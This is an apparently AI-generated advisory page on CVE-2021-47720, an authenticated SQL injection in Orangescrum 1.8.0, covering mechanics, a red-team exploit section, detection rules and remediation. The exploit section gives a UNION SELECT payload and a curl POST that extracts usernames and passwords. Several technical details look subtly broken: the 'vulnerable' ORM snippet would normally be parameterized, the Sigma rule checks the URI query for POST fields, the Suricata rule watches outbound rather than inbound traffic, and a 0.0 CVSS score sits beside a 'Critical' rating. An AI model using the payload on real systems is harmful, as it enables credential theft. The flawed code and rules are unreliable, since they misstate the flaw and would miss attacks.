CVE-2021-47720
Executive Summary
CVE-2021-47720 is an authenticated SQL injection vulnerability in Orangescrum 1.8.0, a web-based project management tool. The flaw allows authorized users to inject malicious SQL code through multiple parameters, including old_project_id, project_id, uuid, and uniqid. This can lead to unauthorized data extraction, modification, or deletion of database contents. The vulnerability has a CVSS score of 0.0 (unscored) but poses a significant risk to confidentiality, integrity, and availability of the application and its data. No official patch has been released, and the vendor has not responded to disclosure attempts.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Orangescrum is a self-hosted PHP application. There is no NPM, PyPI, Go, or Ruby package associated with this CVE. The risk is limited to organizations that deploy Orangescrum directly.
CVSS Breakdown & Threat Level
- CVSS Score: 0.0 (Unscored)
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (authenticated user)
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: High
- Integrity Impact: High
- Availability Impact: High
Threat Level: Critical (based on impact, despite lack of official CVSS vector)
Deep Dive & Mechanics
The vulnerability exists in the app/Controller/ProjectsController.php file. The application fails to sanitize user-supplied input before incorporating it into SQL queries. Specifically, the old_project_id, project_id, uuid, and uniqid parameters are directly concatenated into SQL statements without parameterization or escaping.
Vulnerable Code Snippet (ProjectsController.php):
$project = $this->Project->find('first', array(
'conditions' => array('Project.id' => $_POST['project_id'])
));
An attacker can inject SQL by providing a value like:
1 UNION SELECT username, password FROM users--
This allows the attacker to retrieve arbitrary data from the database.
Vulnerable vs. Patched Code
Vulnerable Code (Orangescrum 1.8.0):
$project_id = $_POST['project_id'];
$project = $this->Project->find('first', array(
'conditions' => array('Project.id' => $project_id)
));
Patched Code (Hypothetical Fix):
$project_id = intval($_POST['project_id']);
$project = $this->Project->find('first', array(
'conditions' => array('Project.id' => $project_id)
));
The fix uses intval() to ensure the input is an integer, preventing SQL injection. Alternatively, parameterized queries should be used.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- Orangescrum 1.8.0 instance
- Valid user credentials (e.g.,
user:password)
Exploit Steps:
- Authenticate to Orangescrum.
- Send a POST request to
/projects/edit/1with the following payload:project_id=1 UNION SELECT username, password FROM users-- - The response will include the
usernameandpasswordfields from theuserstable.
Example using cURL:
curl -X POST -d "project_id=1 UNION SELECT username, password FROM users--" \
-b "PHPSESSID=your_session_id" \
http://target.com/projects/edit/1
Blue Team (Defensive)
Detection:
- Monitor for SQL injection patterns in HTTP requests, especially in parameters like
project_id,old_project_id,uuid, anduniqid. - Look for unusual SQL keywords (UNION, SELECT, FROM, WHERE) in POST data.
- Use a Web Application Firewall (WAF) to block SQL injection attempts.
Mitigation:
- Apply input validation and parameterized queries.
- Restrict database user permissions to least privilege.
- Monitor database logs for suspicious queries.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP POST requests to
/projects/edit/or/projects/delete/with SQL-like payloads in parameters. - Unusual database error messages in HTTP responses (e.g., "You have an error in your SQL syntax").
- HTTP POST requests to
Host IOCs:
- Unexpected database queries in MySQL logs (e.g.,
SELECT * FROM users UNION SELECT...). - Modified files in the Orangescrum installation directory (e.g.,
app/Controller/ProjectsController.php).
- Unexpected database queries in MySQL logs (e.g.,
File IOCs:
- Suspicious entries in web server access logs (e.g.,
POST /projects/edit/1 HTTP/1.1with SQL payloads).
- Suspicious entries in web server access logs (e.g.,
Detection Engineering
YARA Rule
rule CVE_2021_47720_SQLi_Orangescrum {
meta:
description = "Detects SQL injection attempts targeting Orangescrum 1.8.0"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2021-47720"
strings:
$sqli1 = /project_id\s*=\s*[0-9]+\s+UNION\s+SELECT/i
$sqli2 = /old_project_id\s*=\s*[0-9]+\s+UNION\s+SELECT/i
$sqli3 = /uuid\s*=\s*['\"]?[a-f0-9-]+['\"]?\s+UNION\s+SELECT/i
$sqli4 = /uniqid\s*=\s*['\"]?[a-f0-9]+['\"]?\s+UNION\s+SELECT/i
condition:
any of ($sqli*)
}
Sigma Rule
title: CVE-2021-47720 SQL Injection in Orangescrum
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects SQL injection attempts against Orangescrum 1.8.0
author: Valters IT
date: 2025/04/10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains:
- '/projects/edit/'
- '/projects/delete/'
cs-uri-query|re: '(project_id|old_project_id|uuid|uniqid)=.*UNION.*SELECT'
condition: selection
falsepositives:
- Legitimate use of UNION in non-SQL contexts (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2021-47720 SQL Injection Attempt - Orangescrum"; flow:to_server,established; content:"POST"; http_method; content:"/projects/"; http_uri; pcre:"/(project_id|old_project_id|uuid|uniqid)=[^&]*UNION\s+SELECT/i"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Isolate the application: If possible, take the Orangescrum instance offline or restrict network access.
- Apply input validation: Manually patch the vulnerable code by adding
intval()or using parameterized queries. - Upgrade: Check for any updated versions from the vendor. If none, consider migrating to an alternative project management tool.
Long-term Recommendations:
- Implement a Web Application Firewall (WAF) with SQL injection rules.
- Conduct regular security audits and penetration testing.
- Use prepared statements or ORM frameworks to prevent SQL injection.
- Monitor vendor channels for official patches.
Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.